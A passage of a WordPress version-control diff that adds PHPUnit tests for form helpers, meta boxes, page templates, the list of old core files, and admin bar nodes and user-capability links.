+		$this->assertEquals(' selected=\'selected\'', selected(true,true,false));
+		$this->assertEquals(' checked=\'checked\'', checked(true,true,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('0',0,false));
+		$this->assertEquals(' checked=\'checked\'', checked('0',0,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(0,0,false));
+		$this->assertEquals(' checked=\'checked\'', checked(0,0,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected('',false,false));
+		$this->assertEquals(' checked=\'checked\'', checked('',false,false));
+
+		$this->assertEquals(' selected=\'selected\'', selected(false,false,false));
+		$this->assertEquals(' checked=\'checked\'', checked(false,false,false));
+	}
+
+	function test_notequal() {
+		$this->assertEquals('', selected('0','',false));
+		$this->assertEquals('', checked('0','',false));
+
+		$this->assertEquals('', selected(0,'',false));
+		$this->assertEquals('', checked(0,'',false));
+
+		$this->assertEquals('', selected(0,false,false));
+		$this->assertEquals('', checked(0,false,false));
+	}
+
+	public function test_add_meta_box() {
+		global $wp_meta_boxes;
+
+		add_meta_box( 'testbox1', 'Test Metabox', '__return_false', 'post' );
+		
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['post']['advanced']['default'] );
+	}
+
+	public function test_remove_meta_box() {
+		global $wp_meta_boxes;
+
+		// Add a meta boxes to remove.
+		add_meta_box( 'testbox1', 'Test Metabox', '__return_false', $current_screen = 'post' );
+
+		// Confirm it's there.
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes[ $current_screen ]['advanced']['default'] );
+
+		// Remove the meta box.
+		remove_meta_box( 'testbox1', $current_screen, 'advanced' );
+
+		// Check that it was removed properly (The meta box should be set to false once that it has been removed)
+		$this->assertFalse( $wp_meta_boxes[ $current_screen ]['advanced']['default']['testbox1'] );
+	}
+
+	/**
+	 * @ticket 15000
+	 */
+	public function test_add_meta_box_on_multiple_screens() {
+		global $wp_meta_boxes;
+
+		// Add a meta box to three different post types
+		add_meta_box( 'testbox1', 'Test Metabox', '__return_false', array( 'post', 'comment', 'attachment' ) );
+
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['post']['advanced']['default'] ); 
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['comment']['advanced']['default'] );
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['attachment']['advanced']['default'] );
+	}
+
+	/**
+	 * @ticket 15000
+	 */
+	public function test_remove_meta_box_from_multiple_screens() {
+		global $wp_meta_boxes;
+
+		// Add a meta box to three different screens.
+		add_meta_box( 'testbox1', 'Test Metabox', '__return_false', array( 'post', 'comment', 'attachment' ) );
+
+		// Remove meta box from posts.
+		remove_meta_box( 'testbox1', 'post', 'advanced' );
+
+		// Check that we have removed the meta boxes only from posts
+		$this->assertFalse( $wp_meta_boxes['post']['advanced']['default']['testbox1'] );
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['comment']['advanced']['default'] );
+		$this->assertArrayHasKey( 'testbox1', $wp_meta_boxes['attachment']['advanced']['default'] );
+
+		// Remove the meta box from the other screens.
+		remove_meta_box( 'testbox1', array( 'comment', 'attachment' ), 'advanced' );
+
+		$this->assertFalse( $wp_meta_boxes['comment']['advanced']['default']['testbox1'] );
+		$this->assertFalse( $wp_meta_boxes['attachment']['advanced']['default']['testbox1'] );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesTheme.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesTheme.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesTheme.php	(revision 56912)
@@ -0,0 +1,201 @@
+<?php
+/**
+ * @group themes
+ */
+class Tests_Admin_includesTheme extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->theme_root = DIR_TESTDATA . '/themedir1';
+
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+		$GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+		add_filter('theme_root', array($this, '_theme_root'));
+		add_filter( 'stylesheet_root', array($this, '_theme_root') );
+		add_filter( 'template_root', array($this, '_theme_root') );
+
+		// clear caches
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter('theme_root', array($this, '_theme_root'));
+		remove_filter( 'stylesheet_root', array($this, '_theme_root') );
+		remove_filter( 'template_root', array($this, '_theme_root') );
+
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		parent::tearDown();
+	}
+
+	// replace the normal theme root dir with our premade test dir
+	function _theme_root($dir) {
+		return $this->theme_root;
+	}
+
+	/**
+	 * @ticket 10959
+	 * @ticket 11216
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_page_templates() {
+		$theme = get_theme( 'Page Template Theme' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level'                           => 'template-top-level.php',
+			'Sub Dir'                             => 'subdir/template-sub-dir.php',
+			'This Template Header Is On One Line' => 'template-header.php',
+		), get_page_templates() );
+
+		$theme = wp_get_theme( 'page-templates' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level'                           => 'template-top-level.php',
+			'Sub Dir'                             => 'subdir/template-sub-dir.php',
+			'This Template Header Is On One Line' => 'template-header.php',
+		), get_page_templates() );
+	}
+
+	/**
+	 * @ticket 18375
+	 */
+	function test_page_templates_different_post_types() {
+		$theme = wp_get_theme( 'page-templates' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level' => 'template-top-level-post-types.php',
+			'Sub Dir'   => 'subdir/template-sub-dir-post-types.php',
+		), get_page_templates( null, 'foo' ) );
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level' => 'template-top-level-post-types.php',
+			'Sub Dir'   => 'subdir/template-sub-dir-post-types.php',
+		), get_page_templates( null, 'post' ) );
+		$this->assertEquals( array(), get_page_templates( null, 'bar' ) );
+	}
+
+	/**
+	 * @ticket 38766
+	 */
+	function test_page_templates_for_post_types_with_trailing_periods() {
+		$theme = wp_get_theme( 'page-templates' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'No Trailing Period' => '38766/no-trailing-period-post-types.php',
+			'Trailing Period.' => '38766/trailing-period-post-types.php',
+			'Trailing Comma,' => '38766/trailing-comma-post-types.php',
+			'Trailing Period, White Space.' => '38766/trailing-period-whitespace-post-types.php',
+			'Trailing White Space, Period.' => '38766/trailing-whitespace-period-post-types.php',
+			'Tilde in Post Type.' => '38766/tilde-post-types.php',
+		), get_page_templates( null, 'period' ) );
+		$this->assertEqualSetsWithIndex( array(
+			'No Trailing Period' => '38766/no-trailing-period-post-types.php',
+			'Trailing Period.' => '38766/trailing-period-post-types.php',
+			'Trailing Comma,' => '38766/trailing-comma-post-types.php',
+			'Trailing Period, White Space.' => '38766/trailing-period-whitespace-post-types.php',
+			'Trailing White Space, Period.' => '38766/trailing-whitespace-period-post-types.php',
+		), get_page_templates( null, 'full-stop' ) );
+	}
+
+	/**
+	 * @ticket 38696
+	 */
+	function test_page_templates_child_theme() {
+		$theme = wp_get_theme( 'page-templates-child' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level'                  => 'template-top-level-post-types.php',
+			'Sub Dir'                    => 'subdir/template-sub-dir-post-types.php',
+			'Top Level In A Child Theme' => 'template-top-level-post-types-child.php',
+			'Sub Dir In A Child Theme'   => 'subdir/template-sub-dir-post-types-child.php',
+		), get_page_templates( null, 'foo' ) );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level' => 'template-top-level-post-types.php',
+			'Sub Dir'   => 'subdir/template-sub-dir-post-types.php',
+		), get_page_templates( null, 'post' ) );
+
+		$this->assertEqualSetsWithIndex( array(
+			'Top Level'                           => 'template-top-level.php',
+			'Sub Dir'                             => 'subdir/template-sub-dir.php',
+			'This Template Header Is On One Line' => 'template-header.php',
+		), get_page_templates() );
+
+		$this->assertEquals( array(), get_page_templates( null, 'bar' ) );
+	}
+
+	/**
+	 * @ticket 41717
+	 */
+	public function test_get_post_templates_child_theme() {
+		$theme = wp_get_theme( 'page-templates-child' );
+		$this->assertNotEmpty( $theme );
+
+		switch_theme( $theme['Template'], $theme['Stylesheet'] );
+
+		$post_templates = $theme->get_post_templates();
+
+		$this->assertEqualSetsWithIndex( array(
+			'template-top-level-post-types.php'            => 'Top Level',
+			'subdir/template-sub-dir-post-types.php'       => 'Sub Dir',
+			'template-top-level-post-types-child.php'      => 'Top Level In A Child Theme',
+			'subdir/template-sub-dir-post-types-child.php' => 'Sub Dir In A Child Theme',
+		), $post_templates['foo'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'template-top-level-post-types.php'      => 'Top Level',
+			'subdir/template-sub-dir-post-types.php' => 'Sub Dir',
+		), $post_templates['post'] );
+
+		$this->assertEqualSetsWithIndex( array(
+			'template-top-level.php'      => 'Top Level',
+			'subdir/template-sub-dir.php' => 'Sub Dir',
+			'template-header.php'         => 'This Template Header Is On One Line',
+		), $post_templates['page'] );
+	}
+
+	/**
+	 * Test that the list of theme features pulled from the WordPress.org API returns the expected data structure.
+	 *
+	 * Differences in the structure can also trigger failure by causing PHP notices/warnings.
+	 *
+	 * @group external-http
+	 * @ticket 28121
+	 */
+	function test_get_theme_featured_list_api() {
+		wp_set_current_user( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$featured_list_api = get_theme_feature_list( true );
+		$this->assertNonEmptyMultidimensionalArray( $featured_list_api );
+	}
+
+	/**
+	 * Test that the list of theme features hardcoded into Core returns the expected data structure.
+	 *
+	 * Differences in the structure can also trigger failure by causing PHP notices/warnings.
+	 *
+	 * @group external-http
+	 * @ticket 28121
+	 */
+	function test_get_theme_featured_list_hardcoded() {
+		$featured_list_hardcoded = get_theme_feature_list( false );
+		$this->assertNonEmptyMultidimensionalArray( $featured_list_hardcoded );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/admin/includesUpdateCore.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/admin/includesUpdateCore.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/admin/includesUpdateCore.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * @group admin
+ * @group upgrade
+ */
+class Tests_Admin_IncludesUpdateCore extends WP_UnitTestCase {
+	public function data_old_files() {
+		global $_old_files;
+
+		require_once( ABSPATH . 'wp-admin/includes/update-core.php' );
+
+		$files = $_old_files;
+
+		foreach ( $files as &$file ) {
+			$file = array( $file );
+		}
+
+		return $files;
+	}
+
+	/**
+	 * Ensure no project files are inside `$_old_files` in the build directory.
+	 *
+	 * @ticket 36083
+	 *
+	 * @dataProvider data_old_files
+	 *
+	 * @param string $file File name.
+	 */
+	public function test_new_files_are_not_in_old_files_array_compiled( $file ) {
+		$this->assertFileNotExists( dirname( ABSPATH ) . '/build/' . $file );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/adminbar.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/adminbar.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/adminbar.php	(revision 56912)
@@ -0,0 +1,731 @@
+<?php
+
+/**
+ * @group admin-bar
+ * @group toolbar
+ * @group admin
+ */
+class Tests_AdminBar extends WP_UnitTestCase {
+	protected static $editor_id;
+	protected static $admin_id;
+	protected static $no_role_id;
+	protected static $post_id;
+	protected static $blog_id;
+
+	protected static $user_ids = array();
+
+	public static function setUpBeforeClass() {
+		require_once( ABSPATH . WPINC . '/class-wp-admin-bar.php' );
+
+		parent::setUpBeforeClass();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_ids[] = self::$editor_id = $factory->user->create( array( 'role' => 'editor' ) );
+		self::$user_ids[] = self::$admin_id = $factory->user->create( array( 'role' => 'administrator' ) );
+		self::$user_ids[] = self::$no_role_id = $factory->user->create( array( 'role' => '' ) );
+	}
+
+	/**
+	 * @ticket 21117
+	 */
+	function test_content_post_type() {
+		wp_set_current_user( self::$editor_id );
+
+		register_post_type( 'content', array( 'show_in_admin_bar' => true ) );
+
+		$admin_bar = new WP_Admin_Bar;
+
+		wp_admin_bar_new_content_menu( $admin_bar );
+
+		$nodes = $admin_bar->get_nodes();
+		$this->assertFalse( $nodes['new-content']->parent );
+		$this->assertEquals( 'new-content', $nodes['add-new-content']->parent );
+
+		_unregister_post_type( 'content' );
+	}
+
+	/**
+	 * @ticket 21117
+	 */
+	function test_merging_existing_meta_values() {
+		wp_set_current_user( self::$editor_id );
+
+		$admin_bar = new WP_Admin_Bar;
+
+		$admin_bar->add_node( array(
+			'id' => 'test-node',
+			'meta' => array( 'class' => 'test-class' ),
+		) );
+
+		$node1 = $admin_bar->get_node( 'test-node' );
+		$this->assertEquals( array( 'class' => 'test-class' ), $node1->meta );
+
+		$admin_bar->add_node( array(
+			'id' => 'test-node',
+			'meta' => array( 'some-meta' => 'value' ),
+		) );
+
+		$node2 = $admin_bar->get_node( 'test-node' );
+		$this->assertEquals( array( 'class' => 'test-class', 'some-meta' => 'value' ), $node2->meta );
+	}
+
+	/**
+	 * @ticket 25162
+	 * @group ms-excluded
+	 */
+	public function test_admin_bar_contains_correct_links_for_users_with_no_role() {
+		$this->assertFalse( user_can( self::$no_role_id, 'read' ) );
+
+		wp_set_current_user( self::$no_role_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_site_name    = $wp_admin_bar->get_node( 'site-name' );
+		$node_my_account   = $wp_admin_bar->get_node( 'my-account' );
+		$node_user_info    = $wp_admin_bar->get_node( 'user-info' );
+		$node_edit_profile = $wp_admin_bar->get_node( 'edit-profile' );
+
+		// Site menu points to the home page instead of the admin URL
+		$this->assertEquals( home_url( '/' ), $node_site_name->href );
+
+		// No profile links as the user doesn't have any permissions on the site
+		$this->assertFalse( $node_my_account->href );
+		$this->assertFalse( $node_user_info->href );
+		$this->assertNull( $node_edit_profile );
+	}
+
+	/**
+	 * @ticket 25162
+	 * @group ms-excluded
+	 */
+	public function test_admin_bar_contains_correct_links_for_users_with_role() {
+		$this->assertTrue( user_can( self::$editor_id, 'read' ) );
+
+		wp_set_current_user( self::$editor_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_site_name    = $wp_admin_bar->get_node( 'site-name' );
+		$node_my_account   = $wp_admin_bar->get_node( 'my-account' );
+		$node_user_info    = $wp_admin_bar->get_node( 'user-info' );
+		$node_edit_profile = $wp_admin_bar->get_node( 'edit-profile' );
+
+		// Site menu points to the admin URL
+		$this->assertEquals( admin_url( '/' ), $node_site_name->href );
+
+		$profile_url = admin_url( 'profile.php' );
+
+		// Profile URLs point to profile.php
+		$this->assertEquals( $profile_url, $node_my_account->href );
+		$this->assertEquals( $profile_url, $node_user_info->href );
+		$this->assertEquals( $profile_url, $node_edit_profile->href );
+	}
+
+	/**
+	 * @ticket 25162
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_admin_bar_contains_correct_links_for_users_with_no_role_on_blog() {
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => self::$admin_id,
+		) );
+
+		$this->assertTrue( user_can( self::$admin_id, 'read' ) );
+		$this->assertTrue( user_can( self::$editor_id, 'read' ) );
+
+		$this->assertTrue( is_user_member_of_blog( self::$admin_id, $blog_id ) );
+		$this->assertFalse( is_user_member_of_blog( self::$editor_id, $blog_id ) );
+
+		wp_set_current_user( self::$editor_id );
+
+		switch_to_blog( $blog_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_site_name    = $wp_admin_bar->get_node( 'site-name' );
+		$node_my_account   = $wp_admin_bar->get_node( 'my-account' );
+		$node_user_info    = $wp_admin_bar->get_node( 'user-info' );
+		$node_edit_profile = $wp_admin_bar->get_node( 'edit-profile' );
+
+		// get primary blog
+		$primary = get_active_blog_for_user( self::$editor_id );
+		$this->assertInternalType( 'object', $primary );
+
+		// No Site menu as the user isn't a member of this blog
+		$this->assertNull( $node_site_name );
+
+		$primary_profile_url = get_admin_url( $primary->blog_id, 'profile.php' );
+
+		// Ensure the user's primary blog is not the same as the main site
+		$this->assertNotEquals( $primary_profile_url, admin_url( 'profile.php' ) );
+
+		// Profile URLs should go to the user's primary blog
+		$this->assertEquals( $primary_profile_url, $node_my_account->href );
+		$this->assertEquals( $primary_profile_url, $node_user_info->href );
+		$this->assertEquals( $primary_profile_url, $node_edit_profile->href );
+
+		restore_current_blog();
+	}
+
+	/**
+	 * @ticket 25162
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_admin_bar_contains_correct_links_for_users_with_no_role_on_network() {
+		$this->assertTrue( user_can( self::$admin_id, 'read' ) );
+		$this->assertFalse( user_can( self::$no_role_id, 'read' ) );
+
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => self::$admin_id,
+		) );
+
+		$this->assertTrue( is_user_member_of_blog( self::$admin_id, $blog_id ) );
+		$this->assertFalse( is_user_member_of_blog( self::$no_role_id, $blog_id ) );
+		$this->assertTrue( is_user_member_of_blog( self::$no_role_id, get_current_blog_id() ) );
+
+		// Remove `$nobody` from the current blog, so they're not a member of any blog
+		$removed = remove_user_from_blog( self::$no_role_id, get_current_blog_id() );
+
+		$this->assertTrue( $removed );
+		$this->assertFalse( is_user_member_of_blog( self::$no_role_id, get_current_blog_id() ) );
+
+		wp_set_current_user( self::$no_role_id );
+
+		switch_to_blog( $blog_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_site_name    = $wp_admin_bar->get_node( 'site-name' );
+		$node_my_account   = $wp_admin_bar->get_node( 'my-account' );
+		$node_user_info    = $wp_admin_bar->get_node( 'user-info' );
+		$node_edit_profile = $wp_admin_bar->get_node( 'edit-profile' );
+
+		// get primary blog
+		$primary = get_active_blog_for_user( self::$no_role_id );
+		$this->assertNull( $primary );
+
+		// No Site menu as the user isn't a member of this site
+		$this->assertNull( $node_site_name );
+
+		$user_profile_url = user_admin_url( 'profile.php' );
+
+		$this->assertNotEquals( $user_profile_url, admin_url( 'profile.php' ) );
+
+		// Profile URLs should go to the user's primary blog
+		$this->assertEquals( $user_profile_url, $node_my_account->href );
+		$this->assertEquals( $user_profile_url, $node_user_info->href );
+		$this->assertEquals( $user_profile_url, $node_edit_profile->href );
+
+		restore_current_blog();
+	}
+
+	protected function get_standard_admin_bar() {
+		global $wp_admin_bar;
+
+		_wp_admin_bar_init();
+
+		$this->assertTrue( is_admin_bar_showing() );
+		$this->assertInstanceOf( 'WP_Admin_Bar', $wp_admin_bar );
+
+		do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) );
+
+		return $wp_admin_bar;
+	}
+
+	/**
+	 * @ticket 32495
+	 *
+	 * @dataProvider data_admin_bar_nodes_with_tabindex_meta
+	 *
+	 * @param array  $node_data     The data for a node, passed to `WP_Admin_Bar::add_node()`.
+	 * @param string $expected_html The expected HTML when admin menu is rendered.
+	 */
+	public function test_admin_bar_with_tabindex_meta( $node_data, $expected_html ) {
+		$admin_bar = new WP_Admin_Bar();
+		$admin_bar->add_node( $node_data );
+		$admin_bar_html = get_echo( array( $admin_bar, 'render' ) );
+		$this->assertContains( $expected_html, $admin_bar_html );
+	}
+
+	/**
+	 * Data provider for test_admin_bar_with_tabindex_meta().
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type array  $node_data     The data for a node, passed to `WP_Admin_Bar::add_node()`.
+	 *         @type string $expected_html The expected HTML when admin bar is rendered.
+	 *     }
+	 * }
+	 */
+	public function data_admin_bar_nodes_with_tabindex_meta() {
+		return array(
+			array(
+				// No tabindex.
+				array(
+					'id' => 'test-node',
+				),
+				'<div class="ab-item ab-empty-item">',
+			),
+			array(
+				// Empty string.
+				array(
+					'id' => 'test-node',
+					'meta' => array( 'tabindex' => '' ),
+				),
+				'<div class="ab-item ab-empty-item">',
+			),
+			array(
+				// Integer 1 as string.
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => '1' ),
+				),
+				'<div class="ab-item ab-empty-item" tabindex="1">',
+			),
+			array(
+				// Integer -1 as string.
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => '-1' ),
+				),
+				'<div class="ab-item ab-empty-item" tabindex="-1">',
+			),
+			array(
+				// Integer 0 as string.
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => '0' ),
+				),
+				'<div class="ab-item ab-empty-item" tabindex="0">',
+			),
+			array(
+				// Integer, 0.
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => 0 ),
+				),
+				'<div class="ab-item ab-empty-item" tabindex="0">',
+			),
+			array(
+				// Integer, 2.
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => 2 ),
+				),
+				'<div class="ab-item ab-empty-item" tabindex="2">',
+			),
+			array(
+				// Boolean, false
+				array(
+					'id'   => 'test-node',
+					'meta' => array( 'tabindex' => false ),
+				),
+				'<div class="ab-item ab-empty-item">',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 22247
+	 */
+	public function test_admin_bar_has_edit_link_for_existing_posts() {
+		wp_set_current_user( self::$editor_id );
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => 'Post Content',
+			'post_title' => 'Post Title',
+		);
+		$id = wp_insert_post( $post );
+
+		// Set queried object to the newly created post.
+		global $wp_the_query;
+		$wp_the_query->queried_object = (object) array( 'ID' => $id, 'post_type' => 'post' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_edit = $wp_admin_bar->get_node( 'edit' );
+		$this->assertNotNull( $node_edit );
+	}
+
+	/**
+	 * @ticket 22247
+	 */
+	public function test_admin_bar_has_no_edit_link_for_non_existing_posts() {
+		wp_set_current_user( self::$editor_id );
+
+		// Set queried object to a non-existing post.
+		global $wp_the_query;
+		$wp_the_query->queried_object = (object) array( 'ID' => 0, 'post_type' => 'post' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+
+		$node_edit = $wp_admin_bar->get_node( 'edit' );
+		$this->assertNull( $node_edit );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_has_no_archives_link_if_no_static_front_page() {
+		set_current_screen( 'edit-post' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+
+		$this->assertNull( $node );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_contains_view_archive_link_if_static_front_page() {
+		update_option( 'show_on_front', 'page' );
+		set_current_screen( 'edit-post' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+
+		$this->assertNotNull( $node );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_has_no_archives_link_for_pages() {
+		set_current_screen( 'edit-page' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+
+		$this->assertNull( $node );
+	}
+
+	/**
+	 * @ticket 37949
+	 * @group ms-excluded
+	 */
+	public function test_admin_bar_contains_correct_about_link_for_users_with_role() {
+		wp_set_current_user( self::$editor_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$wp_logo_node = $wp_admin_bar->get_node( 'wp-logo' );
+		$about_node   = $wp_admin_bar->get_node( 'about' );
+
+		$this->assertNotNull( $wp_logo_node );
+		$this->assertSame( admin_url( 'about.php' ), $wp_logo_node->href );
+		$this->assertArrayNotHasKey( 'tabindex', $wp_logo_node->meta );
+		$this->assertNotNull( $about_node );
+	}
+
+	/**
+	 * @ticket 37949
+	 * @group ms-excluded
+	 */
+	public function test_admin_bar_contains_correct_about_link_for_users_with_no_role() {
+		wp_set_current_user( self::$no_role_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$wp_logo_node = $wp_admin_bar->get_node( 'wp-logo' );
+		$about_node   = $wp_admin_bar->get_node( 'about' );
+
+		$this->assertNotNull( $wp_logo_node );
+		$this->assertSame( false, $wp_logo_node->href );
+		$this->assertArrayHasKey( 'tabindex', $wp_logo_node->meta );
+		$this->assertSame( 0, $wp_logo_node->meta['tabindex'] );
+		$this->assertNull( $about_node );
+	}
+
+	/**
+	 * @ticket 37949
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_admin_bar_contains_correct_about_link_for_users_with_no_role_in_multisite() {
+		// User is not a member of a site.
+		remove_user_from_blog( self::$no_role_id, get_current_blog_id() );
+
+		wp_set_current_user( self::$no_role_id );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$wp_logo_node = $wp_admin_bar->get_node( 'wp-logo' );
+		$about_node   = $wp_admin_bar->get_node( 'about' );
+
+		$this->assertNotNull( $wp_logo_node );
+		$this->assertSame( user_admin_url( 'about.php' ), $wp_logo_node->href );
+		$this->assertArrayNotHasKey( 'tabindex', $wp_logo_node->meta );
+		$this->assertNotNull( $about_node );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_has_no_archives_link_for_non_public_cpt() {
+		register_post_type( 'foo-non-public', array(
+			'public'            => false,
+			'has_archive'       => true,
+			'show_in_admin_bar' => true,
+		) );
+
+		set_current_screen( 'edit-foo-non-public' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+		unregister_post_type( 'foo-non-public' );
+
+		$this->assertNull( $node );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_has_no_archives_link_for_cpt_without_archive() {
+		register_post_type( 'foo-non-public', array(
+			'public'            => true,
+			'has_archive'       => false,
+			'show_in_admin_bar' => true,
+		) );
+
+		set_current_screen( 'edit-foo-non-public' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+		unregister_post_type( 'foo-non-public' );
+
+		$this->assertNull( $node );
+	}
+
+	/**
+	 * @ticket 34113
+	 */
+	public function test_admin_bar_has_no_archives_link_for_cpt_not_shown_in_admin_bar() {
+		register_post_type( 'foo-non-public', array(
+			'public'            => true,
+			'has_archive'       => true,
+			'show_in_admin_bar' => false,
+		) );
+
+		set_current_screen( 'edit-foo-non-public' );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'archive' );
+
+		set_current_screen( 'front' );
+		unregister_post_type( 'foo-non-public' );
+
+		$this->assertNull( $node );
+	}
+
+	public function map_meta_cap_grant_create_users( $caps, $cap ) {
+		if ( 'create_users' === $cap ) {
+			$caps = array( 'exist' );
+		}
+
+		return $caps;
+	}
+
+	public function map_meta_cap_deny_create_users( $caps, $cap ) {
+		if ( 'create_users' === $cap ) {
+			$caps = array( 'do_not_allow' );
+		}
+
+		return $caps;
+	}
+
+	public function map_meta_cap_grant_promote_users( $caps, $cap ) {
+		if ( 'promote_users' === $cap ) {
+			$caps = array( 'exist' );
+		}
+
+		return $caps;
+	}
+
+	public function map_meta_cap_deny_promote_users( $caps, $cap ) {
+		if ( 'promote_users' === $cap ) {
+			$caps = array( 'do_not_allow' );
+		}
+
+		return $caps;
+	}
+
+	/**
+	 * @ticket 39252
+	 */
+	public function test_new_user_link_exists_for_user_with_create_users() {
+		wp_set_current_user( self::$admin_id );
+
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_grant_create_users' ), 10, 2 );
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_deny_promote_users' ), 10, 2 );
+
+		$this->assertTrue( current_user_can( 'create_users' ) );
+		$this->assertFalse( current_user_can( 'promote_users' ) );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'new-user' );
+
+		// 'create_users' is sufficient in single- and multisite.
+		$this->assertNotEmpty( $node );
+	}
+
+	/**
+	 * @ticket 39252
+	 */
+	public function test_new_user_link_existence_for_user_with_promote_users() {
+		wp_set_current_user( self::$admin_id );
+
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_deny_create_users' ), 10, 2 );
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_grant_promote_users' ), 10, 2 );
+
+		$this->assertFalse( current_user_can( 'create_users' ) );
+		$this->assertTrue( current_user_can( 'promote_users' ) );
+
+		$wp_admin_bar = $this->get_standard_admin_bar();
+		$node         = $wp_admin_bar->get_node( 'new-user' );
+
+		if ( is_multisite() ) {
+			$this->assertNotEmpty( $node );
+		} else {
+			// 'promote_users' is insufficient in single-site.
+			$this->assertNull( $node );
+		}
+	}
+
+	/**
+	 * @ticket 39252
+	 */
+	public function test_new_user_link_does_not_exist_for_user_without_create_or_promote_users() {
+		wp_set_current_user( self::$admin_id );
+
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_deny_create_users' ), 10, 2 );
+		add_filter( 'map_meta_cap', array( $this, 'map_meta_cap_deny_promote_users' ), 10, 2 );
+
+		$this->assertFalse( current_user_can( 'create_users' ) );
+		$this->assertFalse( current_user_can( 'promote_users' ) );
